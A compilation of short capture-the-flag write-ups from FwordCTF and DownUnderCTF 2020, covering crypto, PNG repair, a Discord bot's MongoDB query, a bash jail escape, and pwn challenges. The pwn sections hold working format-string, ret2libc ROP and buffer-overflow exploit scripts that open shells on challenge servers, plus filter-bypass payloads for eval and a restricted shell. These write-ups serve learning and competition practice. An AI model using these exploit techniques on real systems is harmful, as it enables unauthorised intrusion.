# Secret Array (Misc)
We are given the following information:
```I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.```
We know this is solvable because we basically have a system of 1337 equations with 1337 unknowns. If we query in the following way```0 11 2...1336 0```then we get the following equations:```x0 + x1 = q0x1 + x2 = q1...x1336 + x0 = q1336```where `q0` to `q1336` are the results of the queries.
There is a simple pattern we can take advantage of to solve this system easily. If we have five equations,```x0 + x1 = q0x1 + x2 = q1x2 + x3 = q2x3 + x4 = q3x4 + x0 = q4```then we can observe that```q0 - q1 + q2 - q3 + q4= x0 + x1 - x1 - x2 + x2 + x3 - x3 - x4 + x4 + x0= 2 * x0```and```q1 - q2 + q3 - q4 + q0= x1 + x2 - x2 - x3 + x3 + x4 - x4 - x0 + x0 + x1= 2 * x1```So to get each value we can add and subtract alternating queries starting from the query for that value, wrapping around if we go past the end, until we reach the starting query again, then divide by 2. We wrote a Python script that runs `nc`, provides the necessary input, performs the calculations, sends the results back, and finally outputs the flag. |
# NULL Writeup## 479 points (45 Solves)
Basically we are given a [corrupted file](NULL) that we need to recover!
## Solution:
First, let's open the corrupted file in hex editor. I will use GHex:
We can clearly spot from the header that we will have to deal with a corrupted PNG. But we notice that the first byte is corrupted. Let's fix that!
**69 50 4e 47 0d 0a 1a 0a** becomes **89 50 4e 47 0d 0a 1a 0a**.
Reading about [PNG specification](http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html) we must expect an IHDR chunk as the FIRST chunk.
The ihdr chunk appears to be corrupted too. **00 00 00 0D** is the length of the IHDR chunk and this is usual and correct so let's skip it.
The 4 first bytes are the chunk type and it must be **49 48 44 52** for IHDR. So we fix that too. Our file will look like:
Okay, to be sure what to do next let's run pngcheck on our file at this state.
We've got an **invalid IHDR image dimensions (0x0)**.
> *What info does the IHDR provide?* >The IHDR chunk tells about: - Width: 4 bytes - Height: 4 bytes - Bit depth: 1 byte - Color type: 1 byte - Compression method: 1 byte - Filter method: 1 byte - Interlace method: 1 byte
Now we've got a problem. The bytes for the width and the height of our file are all set to **NULL** bytes. We can't just choose arbitrary dimensions and expect our PNG to work correctly . Even if we manage to correct the crc and open the PNG with a random width , height we will mess up the pixels and the image will look like ~garbage~. So the only solution is to recover the original width and height!
To do that we need the crc checksum of the IHDR chunk. It comes just after the chunk encoded on 4 bytes. In our case the crc checksum is: **E3 67 7E C0** We will have to bruteforce the dimensions until we get the correct crc we need! Knowing that both width and height are encoded in 4 bytes the maximum value of the width/height is 2^31. We wouldn't enjoy bruteforcing that, so let's try to fix as maximum value 2000px and hope it works.
```pythonfrom binascii import crc32
correct_crc = int.from_bytes(b'\xe3\x67\x7e\xc0',byteorder='big')
for h in range(2000): for w in range(2000): crc=b"\x49\x48\x44\x52"+w.to_bytes(4,byteorder='big')+h.to_bytes(4,byteorder='big')+b"\x08\x06\x00\x00\x00" if crc32(crc) % (1<<32) == correct_crc: print ('FOUND!') print ('Width: ',end="") print (hex(w)) print ('Height :',end="") print (hex(h)) exit()```
Great! now we recovered the original width and height using the crc32. Let's hope that works! If you're wondering why we used the modulo (1<<32) in the script, it's because the crc32 from binascii is doing a signed crc32.
running pngcheck again would give us **OK: NULL.png (878x329, 32-bit RGB+alpha, non-interlaced, 98.3%).** We open the [image](NULL.png) and enjoy our flag!
**FLAG: FwordCTF{crc32_is_the_way}** |
# Disconfigured - MiscI hope someone told the admins that this bot is for notes and not secrets. Who knows what they might be hiding ?
Bot: Disconfigured#1791
Author: Delta#5000
# WriteupThere is a discord bot. I slide into its DMs and type !help.
From this, I can tell the bot is written with `discord.py`. I recognize the help message, it is generated automatically by `discord.ext.commands`.
It's weird that `commands.Context` is included in the argument list. `ctx` is kind of like a default parameter used by `discord.py` functions, and it wouldn't normally be listed in the help message, as users should not be able to provide the `ctx` parameter. It is used to specify which user sent the message that triggered the command and things like that, meaning that if we could modify it, we could pretend we're someone else.
However, this is a dead end. Let's assume this bot does not implement a custom help command. In this case, if we could modify `ctx`, `!help note` should say `!note [ctx]`. I concluded that the creator just explained `ctx` in the docstring of the function, maybe to confuse us or maybe just to document the code. The docstring is then used by `discord.py` to generate the command's help function. We cannot actually use `ctx` as a parameter of the command. If we could, it would be very hard to do, and I did not feel like trying that. So I went with the assumption; the bot does not have a custom help command and we cannot provide our own `ctx`.
The only other thing I found suspicious was `server admins can see all`. What exactly does this mean? The author of the challenge specifically? The admins of the DownUnderCTF server? Or... any admin?
### Invite the bot in your own server.To invite a bot, you need an invite link. At first I had no idea how to do that, but I looked up the invite link of my own bot and found that you simply need the bot's user id, which you obtain by enabling developer tools in Discord and right clicking on the bot -> Copy ID.Then, take the invite URL of any other bot and simply replace the client_id field.
https://discord.com/oauth2/authorize?client_id=738992913652121690&permissions=0&scope=bot
#### Type !help in your own server and....
Alright, CLEARLY we are on the right path. Let's see these new commands.
#### get_server_notesThis command gives you all the notes that have been saved in the server. We do not really care about the notes in our own server, but something interesting I tried was changing the name of my server to "DownUnderCTF". I did this hoping the bot uses the servers' names to keep track of them instead of their IDs. If that were the case, this would've allowed me to access the notes in the CTF's discord and probably give me the flag, but sadly it still gave me the notes of my own server.Yes, notes are server-based by the way. You could already verify this by adding a note in DownUnderCTF's server and in your DMs and then using `!notes`, they are separate. I think a DM between 2 people is like its own server in the Discord API.
#### run_query
Alright, our attempt with get_server_notes failed, so this has to be it. We can run a query, which should allow us to get any information we want (the flag).
This was the most painful part for me. I usually do pwn, what the hell are databases?
We can assume that `collection` refers to a Server ID, which you can get with right click -> copy ID on the server icon.
For the query, first I was trying SQL. I spent too much time figuring out that the message is talking about **mongodb**. *Collections* is a term used a lot by mongodb documentation, and mongodb allows a *json form* for queries. See here: https://docs.mongodb.com/manual/reference/method/db.collection.find/
> To return all documents in a collection, omit this parameter or pass an empty document ({}).
Alright then, let's try using the DownUnderCTF server id...
Ok. I see things, which is good. No flag, which is terrible. My assumption was, there are too many notes, the flag is hidden. I need to filter this output with the query. I want all notes made by the creator of the challenge. This is where the real pain starts.
Why? just FoLlOw tHE mONGoDb DocumEnTatIon right?? Well, yes, but actually no.
Nothing I tried was working. Nothing. You need to do a query like this:```"{"user_id": {"$eq": 177022915747905536}}"```
Ok. Let's try that.
The query must be broken, let's try a million other things from the mongodb documentation, or hey maybe it's not actually mongodb.Actually no, I won't show that part ;_; let's try the same query again.
OH GOD OH NO IT'S THERE WHAT DID I CHANGE???`discord.py` uses the `"` kinda like bash... It needs to be escaped, and it can be used to group different words in a single parameter.
So you type `"{\"user_id\": {\"$eq\": 177022915747905536}}"`
Yeah, a lot of pain was hidden in this writeup. Whatever, take your flag.
### FlagDUCTF{you_can_be_an_admin_if_you_believe} |
TLDR
Recover `plaintext[:16]` via decrypting `ciphertext[:16]`.
With all following blocks:- Send `b'\x00' * 16` to retrieve IV from `result[16:]` because padding makes plaintext look like `b'\x00' * 32`.- Recover `plaintext[16:32]` and so on via `ciphertext[16:32] ^ ciphertext[0:16] ^ iv`, `plaintext[32:48] = ciphertext[32:48] ^ ciphertext[16:32] ^ iv` ...
[Original writeup](https://lucaschen1000.github.io/downunder-ctf#ecbc) |
# my first echo server [hard]Author: k0wa1ski#6150 and Faith#2563
*Hello there! I learnt C last week and already made my own SaaS product, check it out! I even made sure not to use compiler flags like --please-make-me-extremely-insecure, so everything should be swell.*
`nc chal.duc.tf 30001`
Hint - The challenge server is running Ubuntu 18.04.
Attached files: `echos` (sha256: 2311c57a6436e56814e1fe82bdd728f90e5832fda8abc71375ef3ef8d9d239ca)
#### This challenge was quickly finished with [pwnscripts](https://github.com/152334H/pwnscripts). Try it!
## Solving```Cint main() { char s[0x48]; // [rsp+10h] [rbp-50h] int64_t cookie = __readfsqword(0x28u); // [rsp+58h] [rbp-8h] for (int i = 0; i <= 2; i++) { fgets(s, 0x40, stdin); printf(s); } return 0;}``````python$ checksec echos[*] 'echos' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```This challenge is a simple exercise in [format string exploitation](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_example/). Given a binary with all security hardening measures enabled, the goal is to open a shell using nothing but user-controlled call**s** to `printf()`.
It's really important that there's more than 1 `printf()` call; as far as I know, it's impossible<sup>1</sup> to exploit a hardened binary with only a single call to `printf()`.
Anyway, with 2 `printf()` calls, the solution is visible to anyone familiar with FSBs<sup>2</sup>:1. Leak some addresses with `%m$p` in the first call. The two addresses we're leaking here are * `__libc_start_main_ret`, which is a libc leak (for FSBs) that's always available in a binary that calls `main()` * The stack address, which can usually be leaked from somewhere up in the call stack, mostly because the stack is never cleaned2. Abuse `%m$n` to replace the return address of `main()` with a jump to a `one_gadget`.
The implementation for both steps is also trivial:
0. Find the `printf()` offsets to the addresses to be leaked using `pwnscripts.fsb.find_offset`.1. Send a payload of `%m$p,%m$p` (with the offsets found earlier) to leak out the relevant addresses. Calculate the libc base (`context.libc.calc_base`) and the location of the return pointer<sup>3</sup> here.2. Use `pwntools`' `fmtstr_payload` to generate the whole `%n` payload. Use `write_size='short'` here, because the default `write_size` generates a payload too large for `./echos`' `fgets(64)` to accept.
```pythonfrom pwnscripts import *context.binary = 'echos'context.libc_database = 'libc-database'context.libc = 'libc6_2.27-3ubuntu1_amd64' # Assumed from prev chalsargs = ('chal.duc.tf', 30001)
@context.quietdef printf(l:str): r = remote(*args) r.send(l) return r.recvline()
# Finding printf offsets.config.PRINTF_MIN = 7buffer = fsb.find_offset.buffer(printf, maxlen=63)stack = fsb.find_offset.stack(printf) # This requires config.PRINTF_MINret_off = fsb.find_offset.libc(printf, context.libc.symbols['__libc_start_main_ret']%0x100)DIST_TO_RET = (ret_off-buffer)*context.bytes
# Leak stack & libcr = remote(*args)r.sendline('%{}$p,%{}$p'.format(stack, ret_off))stack_leak, libc_main_ret = extract_all_hex(r.recvline())buffer_addr = stack_leak-0x130 # EMPIRICAL OFFSETcontext.libc.calc_base('__libc_start_main_ret', libc_main_ret)
# Return to one_gadget; use 'short' to stay within input lengthwrite = {buffer_addr+DIST_TO_RET: context.libc.select_gadget(1)}r.sendline(payload:=fmtstr_payload(buffer, write, write_size='short'))strlen = payload.find(b'\0') # This part is here to shut up the whitespace spam of fmtstr_payloadr.recvuntil(payload[strlen-4:strlen])r.interactive()```That's it.```bash[*] pwnscripts.fsb.find_offset for buffer: 8[*] pwnscripts.fsb.find_offset for 'stack': 16[*] pwnscripts.fsb.find_offset for 'libc': 19[+] Opening connection to chal.duc.tf on port 30001: Done[*] Switching to interactive mode$ lsechosflag.txt$ cat flag.txt```## Flag`DUCTF{D@N6340U$_AF_F0RMAT_STTR1NG$}`
## Footnotes1. And do inform me if I'm wrong!2. Format String Bugs. And perhaps *familiar* is too weak a term: "done enough times to be second nature" may be more accurate.3. There's a small detail neglected here, because there isn't actually an automated method to find the stack's return pointer in `pwnscripts` (for now). In order to find where `main()`'s stack resided, I used `gdb` to find the approximate difference between the leaked stack address and `main()`'s stack, followed by a `%s` test to ensure that the calculated location of `main()`'s stack was valid: ```python # ... insert first leak here ... # Test that leaked address calculation is valid: print_stack = '%{}$s'.format(buffer+1).ljust(8).encode() + pack(stack_leak-0x130+0x10) + cyclic(40).encode() r.sendline(print_stack) print(r.recvall()) ``` ```python [+] Opening connection to chal.duc.tf on port 30001: Done b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\n' ``` |
# Return to what [medium]
**Author:** Faith
*This will show my friends!*
`nc chal.duc.tf 30003`
**Attached files:** `return-to-what` (sha256: a679b33db34f15ce27ae89f63453c332ca7d7da66b24f6ae5126066976a5170b)
#### This challenge was quickly finished with [pwnscripts](https://github.com/152334H/pwnscripts). Try it!
And I do really mean *quickly*: Third blood is not something I usually do, with how slowly I write exploits.
## AnalysisThere isn't much to scope out here.```cvoid vuln() { char s[0x30]; // [rsp+0h] [rbp-30h] puts("Where would you like to return to?"); return gets(s);}int main() { puts("Today, we'll have a lesson in returns."); vuln();}````gets()` provides an infinte buffer flow, and judging by the challenge title, the goal here is a [ret2libc](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#ret2libc) attack.
We're also aided by the lack of general protections:```python[*] '/path/to/return-to-what' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```If *all* of these protections were enabled, this challenge would actually be rather difficult.
Hypotheticals aside, there are 3 simple things we need to pwn this challenge:
0. Initialise important stuff ```python from pwnscripts import * context.binary = 'return-to-what' context.libc_database = 'libc-database' r = remote('chal.duc.tf', 30003) ```1. use Return Oriented Programming to leak out libc addresses from the GOT table. The GOT table is easy to leak with a call to `puts()`; this is only possible because PIE is disabled. ```python rop = ROP(context.binary) rop.raw(b'\0'*0x38) rop.puts(context.binary.got['puts']) rop.puts(context.binary.got['gets']) rop.main() r.sendlineafter('to?\n', rop.chain()) ```2. using the leaked addreses, identify the remote libc version, and calculate the location of a [one-gadget](https://github.com/david942j/one_gadget). This is really easy with `pwnscripts`: ```python libc_leaks = {'puts': extract_first_bytes(r.recvline(),6), 'gets': extract_first_bytes(r.recvline(),6)} context.libc = context.libc_database.libc_find(libc_leaks) # Will be identified as libc6_2.27-3ubuntu1_amd64 one_gadget = context.libc.select_gadget(1) ```3. return back to `main()`, and write a jump to get to the `one_gadget`. ```python rop = ROP(context.binary) rop.raw(b'\0'*0x38) rop.call(one_gadget) rop.raw(b'\0'*99) # To satisfy one-gadget r.sendlineafter('to?\n', rop.chain()) r.interactive() ```
That's it.
```bash>>> r.interactive()[*] Switching to interactive modelsflag.txtreturn-to-what```## Flag`DUCTF{ret_pUts_ret_main_ret_where???}` |
# **The Challenge**
```#include <stdio.h>#include <unistd.h>
__attribute__((constructor))void setup() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0);}
void get_shell() { execve("/bin/sh", NULL, NULL);}
void vuln() { char name[40];
printf("Please tell me your name: "); gets(name);}
int main(void) { printf("Welcome! Can you figure out how to get this program to give you a shell?\n"); vuln(); printf("Unfortunately, you did not win. Please try again another time!\n");}
```
# **The Mitigations**
By running checksec on it we get the following results:
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
With those results we can carefully say the followings:
1) The addresses of the .text are not randomized and always the same (There is no PIE)2) We can jump to where ever we want in the code if we could find the exploit (There is no Canary)
# **The Vulnerabilities/ Game Plan** In the challenge code written above we can see three functions other then main, knowing the fact that the content of setup() is standard lets examine the two remaining methods:
1) The method vuln asking the user to enter some input and then inputting it with the function gets, gets is an extremely vulnarble function, it does not limit the amount of data that can be entered to it and by not doing so (and with the described missing mitigations) it allows us to enter the amount of data necessary to overflow the buffer and set the return address to where ever we want, looking at the asm code while visulizing the stack is giving us the proper amount which is 56 bytes (1 char = 1 byte).
``` 0x00000000004006e7 <+0>: push rbp 0x00000000004006e8 <+1>: mov rbp,rsp 0x00000000004006eb <+4>: sub rsp,0x30 0x00000000004006ef <+8>: lea rdi,[rip+0xea] # 0x4007e0 0x00000000004006f6 <+15>: mov eax,0x0 0x00000000004006fb <+20>: call 0x400560 <printf@plt> 0x0000000000400700 <+25>: lea rax,[rbp-0x30] 0x0000000000400704 <+29>: mov rdi,rax 0x0000000000400707 <+32>: mov eax,0x0 0x000000000040070c <+37>: call 0x400580 <gets@plt> 0x0000000000400711 <+42>: nop 0x0000000000400712 <+43>: leave 0x0000000000400713 <+44>: ret 00:0000│ rax r8 rsp 0x7fffffffe090 ◂— 0x4141414141 /* 'AAAAA' */01:0008│ 0x7fffffffe098 —▸ 0x7ffff7e5271a (puts+378) ◂— cmp eax, -102:0010│ 0x7fffffffe0a0 —▸ 0x400750 (__libc_csu_init) ◂— push r1503:0018│ 0x7fffffffe0a8 —▸ 0x7fffffffe0d0 ◂— 0x004:0020│ 0x7fffffffe0b0 —▸ 0x4005a0 (_start) ◂— xor ebp, ebp05:0028│ 0x7fffffffe0b8 —▸ 0x7fffffffe1c0 ◂— 0x106:0030│ rbp 0x7fffffffe0c0 —▸ 0x7fffffffe0d0 ◂— 0x007:0038│ 0x7fffffffe0c8 —▸ 0x40072e (main+26) ◂— lea rdi, [rip + 0x11b] # the deired return address at main ```
2) The method get_shell is basically opening a shell using execve and the shell path, with a shell open we can search for a flag file and use the cat command to print its content
> execve() executes the program referred to by pathname.
Game plan in summery: we will overflow the return address of vuln via gets to the get_shell function and then use the open shell to search for a flag file and see its content.
# **Exploit**```from pwn import *
p = remote("chal.duc.tf", 30002)
print(p.recvuntil("name: "))p.sendline(b"A" * 56 + p64(0x4006CA)) #sending 56 bytes + address of get_shell
p.interactive()```
# **Result**```b'Welcome! Can you figure out how to get this program to give you a shell?\nPlease tell me your name: '[*] Switching to interactive mode$ lsflag.txtshellthis$ cat flag.txtDUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}$``` |
We are given the following RSA parameters
```n = 19574201286059123715221634877085223155972629451020572575626246458715199192950082143183900970133840359007922584516900405154928253156404028820410452946729670930374022025730036806358075325420793866358986719444785030579682635785758091517397518826225327945861556948820837789390500920096562699893770094581497500786817915616026940285194220703907757879335069896978124429681515117633335502362832425521219599726902327020044791308869970455616185847823063474157292399830070541968662959133724209945293515201291844650765335146840662879479678554559446535460674863857818111377905454946004143554616401168150446865964806314366426743287s = 3737620488571314497417090205346622993399153545806108327860889306394326129600175543006901543011761797780057015381834670602598536525041405700999041351402341132165944655025231947620944792759658373970849932332556577226700342906965939940429619291540238435218958655907376220308160747457826709661045146370045811481759205791264522144828795638865497066922857401596416747229446467493237762035398880278951440472613839314827303657990772981353235597563642315346949041540358444800649606802434227470946957679458305736479634459353072326033223392515898946323827442647800803732869832414039987483103532294736136051838693397106408367097c = 7000985606009752754441861235720582603834733127613290649448336518379922443691108836896703766316713029530466877153379023499681743990770084864966350162010821232666205770785101148479008355351759336287346355856788865821108805833681682634789677829987433936120195058542722765744907964994170091794684838166789470509159170062184723590372521926736663314174035152108646055156814533872908850156061945944033275433799625360972646646526892622394837096683592886825828549172814967424419459087181683325453243145295797505798955661717556202215878246001989162198550055315405304235478244266317677075034414773911739900576226293775140327580e = 0x10001```
We know `s = (557p - 127q)^(n-p-q) mod n` and `phi(n) = n - p - q + 1` which means `n - p - q = phi(n) - 1`
Using Euler's theorem, we get
`(557p - 127q) congruent to inverse(s,n) mod n`. Now, let's make an assumption that `557p - 127q = inverse(s,n)` i.e. `557p - 127n/p = inverse(s,n)`
We can obtain a quadratic equation: `557p^2 - inverse(s,n)*p - 127n = 0`, On solving this, we get p, and therefore q since we have n. This gives away the decryption exponent d, and we can decode the ciphertext c to obtain our flag.
```Flag: DUCTF{e4sy_RSA_ch4ll_t0_g3t_st4rt3d}``` |
The user input get's eval()ed, but the **globals** keyword is blocked. We can therefore use eval to concatenate 'glob' + 'als' to bypass the filter:
```eval('glob' + 'als()')```
Scrolling down we can see the flag in one of the variables: 'maybe_this_maybe_not': 'DUCTF{3v4L_1s_D4ng3r0u5}' |
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|
TLDR
$ (557p-127q) \equiv s^{-1} \pmod{n} $
Solve system of linear equations with above and $ n = pq $
Now that you have p and q, rest is standard RSA.
[Original writeup](https://lucaschen1000.github.io/downunder-ctf#baby-rsa) |
# Secret Array
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Python
# Source
```Randomness is a power ! You don't have a chance to face it.
nc twistwislittlestar.fword.wtf 4445
Author: Semah BA```
# Exploitation
The exploit is based on the Mersene Twister vulnerability, as the name suggests. For that, we need 624 consecutive primes.
```pyfrom pwn import remote r = remote('twistwislittlestar.fword.wtf', 4445)
arr = list(map(lambda x: x.split(': ')[1], list(filter(lambda x: 'Random Number is' in x, r.recvuntil('Your Prediction For the next one : ').decode().split('\n')))))print(arr)
for _ in range(624): r.sendline('1')
arr.append(r.recvuntil('Your Prediction For the next one : ').decode().split('was : ')[1].split('\n')[0]) print('running...')
arr += [str(i) for i in range(20)]
open('./data.txt','w').write('\n'.join(arr))r.interactive()```
In this, we have 627 consecutive random numbers followed by 1-20. Pass this `data.txt` to the following code (in stdin). It will predict the correct values for 1-20. You could enter them manually from here (since it's just 20 numbers).
```py#!/usr/bin/env python## Mersenne Twister predictor## Feed this program the output of any 32-bit MT19937 Mersenne Twister and# after seeing 624 values it will correctly predict the rest.## The values may come from any point in the sequence -- the program does not# need to see the first 624 values, just *any* 624 consecutive values. The# seed used is also irrelevant, and it will work even if the generator was# seeded from /dev/random or any other high quality source.## The values should be in decimal, one per line, on standard input.## The program expects the actual unsigned 32 bit integer values taken directly# from the output of the Mersenne Twister. It won't work if they've been# scaled or otherwise modified, such as by using modulo or# std::uniform_int_distribution to alter the distribution/range. In principle# it would be possible to cope with such a scenario if you knew the exact# parameters used by such an algorithm, but this program does not have any# such knowledge.## For more information, refer to the original 1998 paper:## "Mersenne Twister: A 623-dimensionally equidistributed uniform pseudorandom# number generator", Makoto Matsumoto, Takuji Nishimura, 1998## http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.215.1141## This code is not written with speed or efficiency in mind, but to follow# as closely as possible to the terminology and naming in the paper.## License: CC0 http://creativecommons.org/publicdomain/zero/1.0/
from __future__ import print_functionimport sysimport collections
class Params: # clearly a mathematician and not a programmer came up with these names # because a dozen single-letter names would ordinarily be insane w = 32 # word size n = 624 # degree of recursion m = 397 # middle term r = 31 # separation point of one word a = 0x9908b0df # bottom row of matrix A u = 11 # tempering shift s = 7 # tempering shift t = 15 # tempering shift l = 18 # tempering shift b = 0x9d2c5680 # tempering mask c = 0xefc60000 # tempering mask
def undo_xor_rshift(x, shift): ''' reverses the operation x ^= (x >> shift) ''' result = x for shift_amount in range(shift, Params.w, shift): result ^= (x >> shift_amount) return result
def undo_xor_lshiftmask(x, shift, mask): ''' reverses the operation x ^= ((x << shift) & mask) ''' window = (1 << shift) - 1 for _ in range(Params.w // shift): x ^= (((window & x) << shift) & mask) window <<= shift return x
def temper(x): ''' tempers the value to improve k-distribution properties ''' x ^= (x >> Params.u) x ^= ((x << Params.s) & Params.b) x ^= ((x << Params.t) & Params.c) x ^= (x >> Params.l) return x
def untemper(x): ''' reverses the tempering operation ''' x = undo_xor_rshift(x, Params.l) x = undo_xor_lshiftmask(x, Params.t, Params.c) x = undo_xor_lshiftmask(x, Params.s, Params.b) x = undo_xor_rshift(x, Params.u) return x
def upper(x): ''' return the upper (w - r) bits of x ''' return x & ((1 << Params.w) - (1 << Params.r))
def lower(x): ''' return the lower r bits of x ''' return x & ((1 << Params.r) - 1)
def timesA(x): ''' performs the equivalent of x*A ''' if x & 1: return (x >> 1) ^ Params.a else: return (x >> 1)
seen = collections.deque(maxlen=Params.n)
print('waiting for {} previous inputs'.format(Params.n))for _ in range(Params.n): val = untemper(int(sys.stdin.readline())) seen.append(val)
num_correct = num_incorrect = 0print('ready to predict')
while True: # The recurrence relation is: # # x[k + n] = x[k + m] ^ timesA(upper(x[k]) | lower(x[k + 1])) # # Substituting j = k + n gives # # x[j] = x[j - n + m] ^ timesA(upper(x[j - n]) | lower(x[j - n + 1])) # # The 'seen' deque holds the last 'n' seen values, where seen[-1] is the # most recently seen, therefore letting j = 0 gives the equation for the # next predicted value.
next_val = seen[-Params.n + Params.m] ^ timesA( upper(seen[-Params.n]) | lower(seen[-Params.n + 1])) seen.append(next_val) predicted = temper(next_val)
actual = sys.stdin.readline() if not actual: print('end of input -- {} predicted correctly, {} failures'.format( num_correct, num_incorrect)) sys.exit(0)
actual = int(actual) if predicted == actual: status = 'CORRECT' num_correct += 1 else: status = 'FAIL' num_incorrect += 1
print('predicted {} got {} -- {}'.format(predicted, actual, status))```
Here's what you get as output (in this case, varies everytime):
```bash$ cat data.txt | python3 mer_twis.pywaiting for 624 previous inputsready to predictpredicted 2630305257 got 2630305257 -- CORRECTpredicted 2597663602 got 2597663602 -- CORRECTpredicted 1795123759 got 1795123759 -- CORRECTpredicted 306338802 got 0 -- FAILpredicted 2955851394 got 1 -- FAILpredicted 1106083444 got 2 -- FAILpredicted 1852587916 got 3 -- FAILpredicted 259036002 got 4 -- FAILpredicted 4098119175 got 5 -- FAILpredicted 1412275791 got 6 -- FAILpredicted 545371933 got 7 -- FAILpredicted 2098379118 got 8 -- FAILpredicted 2550571293 got 9 -- FAILpredicted 2691429539 got 10 -- FAILpredicted 470431618 got 11 -- FAILpredicted 1731687872 got 12 -- FAILpredicted 499518855 got 13 -- FAILpredicted 1368988182 got 14 -- FAILpredicted 767634446 got 15 -- FAILpredicted 1065878028 got 16 -- FAILpredicted 1428656079 got 17 -- FAILpredicted 3030198656 got 18 -- FAILpredicted 1804758619 got 19 -- FAILend of input -- 3 predicted correctly, 20 failures```
Now send the actual values to the netcat server and obtain the flag.
The flag is:
```FwordCTF{R4nd0m_isnT_R4nd0m_4ft3r_4LL_!_Everyhthing_is_predict4bl3_1f_y0u_kn0w_wh4t_Y0u_d01nGGGG}``` |
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|
# JailBoss (Bash)
When we connect with ssh, we are placed in what seems like some sort of very restricted shell. We are provided with the source code for this shell in `jail.sh`:```bash#!/bin/bashfiglet "BASH JAIL x Fword"echo "Welcome! Kudos to Anis_Boss Senpai"function a(){/usr/bin/env}export -f afunction calculSlash(){ echo $1|grep -o "/"|wc -l}function calculPoint(){ echo $1|grep -o "."|wc -l}function calculA(){ echo $1|grep -o "a"|wc -l}
while true;doread -p ">> " input ;if echo -n "$input"| grep -v -E "^(\.|\/| |\?|a)*$" ;then echo "No No not that easy "else pts=$(calculPoint $input) slash=$(calculSlash $input) nbA=$(calculA $input) if [[ $pts -gt 2 || $slash -gt 1 || $nbA -gt 1 ]];then echo "That's Too much" else eval "$input" fifidone```We also have `taskFword.sh` located in the directory where we connect to, and we are provided with its contents:```bash#!/bin/bashexport FLAG="FwordCTF{REDACTED}"echo "A useless script for a useless SysAdmin"```We can see that the only way we can do anything is by getting the shell to run the `eval` statement. But in order to do that our input must be composed of only the characters `./ ?a`. Furthermore, on first glance it seems that we can only have at most 2 `.`s, one `/`, and one `a`. On further inspection, we realize that the regex `.` when passed to `grep` actually matches any character, so it seems like we can only have at most 2 characters total.
[ShellCheck](https://github.com/koalaman/shellcheck) is a great tool for finding bugs in shell scripts. And it's written in Haskell, which is cool. Anyways, when we run ShellCheck on `jail.sh`, we get (among other warnings):```In jail.sh line 23: pts=$(calculPoint $input) ^----^ SC2086: Double quote to prevent globbing and word splitting.
Did you mean: pts=$(calculPoint "$input")
In jail.sh line 24: slash=$(calculSlash $input) ^----^ SC2086: Double quote to prevent globbing and word splitting.
Did you mean: slash=$(calculSlash "$input")
In jail.sh line 25: nbA=$(calculA $input) ^----^ SC2086: Double quote to prevent globbing and word splitting.
Did you mean: nbA=$(calculA "$input")```
If you're unfamiliar, globbing is a Bash feature which allows you to use wildcards like `*` to match files and expands to a space-separated list of matching files, and word splitting is when a variable is expanded into multiple arguments by splitting on whitespace. In this case, we see that the `calcul*` functions (example of globbing right there) only check the variable `$1`, which is the first argument, which means after word splitting, the program will only apply the character limit restrictions to the first word in the input. Since our input is a bash command, this means the first word is the name of the command and the rest are arguments, which can be any length.
Now we look for Bash commands under two characters which are composed of those five characters. Pretty much the only one is the `.` command. The `.` command does the same thing as `source`, which runs the given script in the context of the current shell environment. This means any environment variables set in the script will be visible in the current shell after running the script. Well, we helpfully have a script which sets a variable containing the flag, `taskFword.sh`, and a way to read environment variables, the `a` function. Now all we need to do is figure out how to pass the `taskFword.sh` file to `.`.
Looking at our allowed characters, we see that `?` is a glob wildcard which matches any *one* character. So, the input `????????????` will match `taskFword.sh` (and any other file with a 12 character name). Let's try it.```>> . ????????????A useless script for a useless SysAdmin```It seems like `taskFword.sh` was executed, which means the `FLAG` variable is set. Now all we have to do is run `a` to see it.```>> aSHELL=/opt/jail.shPWD=/home/ctfLOGNAME=ctfMOTD_SHOWN=pamHOME=/home/ctf/LANG=C.UTF-8SSH_CONNECTION=219.85.133.95 50300 172.17.0.2 1234FLAG=FwordCTF{BasH_1S_R3aLLy_4w3s0m3_K4hLaFTW}TERM=xterm-256colorUSER=ctfSHLVL=1SSH_CLIENT=219.85.133.95 50300 1234PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/gamesSSH_TTY=/dev/pts/17BASH_FUNC_a%%=() { /usr/bin/env}_=/usr/bin/env``` |
```import pickle
data = pickle.load(open('./data', 'rb'), encoding='ASCII')
print(data[1] + data[2] + data[3], end='')
for i in range(4, 23): print(chr(data[i]), end='')
print(data[23])
# DUCTF{p1ckl3_y0uR_m3554g3}``` |
This was a beginner RSA challenge. Unfortunately someone uploaded the primes onto factordb some time during the competition which ruined it for people and boosted the number of solves. We decided to leave the challenge as is.
tldr;- we are given `s = pow(557p-127q, n-p-q, n)`- notice that `557p - 127q = s^(-1) (mod n)`- construct a qudratic with known coefficients to recover the primes
[DUCTF GitHub](https://github.com/DownUnderCTF/Challenges_2020_public/tree/master/crypto/babyrsa)
[blog writeup](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#babyrsa) |
First, use SSTV decoder to decode the audio to an image. This image has a `rot13` flag on the top left.
```py# Tool used: SSTV decoder - Android # The flag is in the imagetext = 'QHPGS{UHZOYR_Z3Z3_1BEQ}'
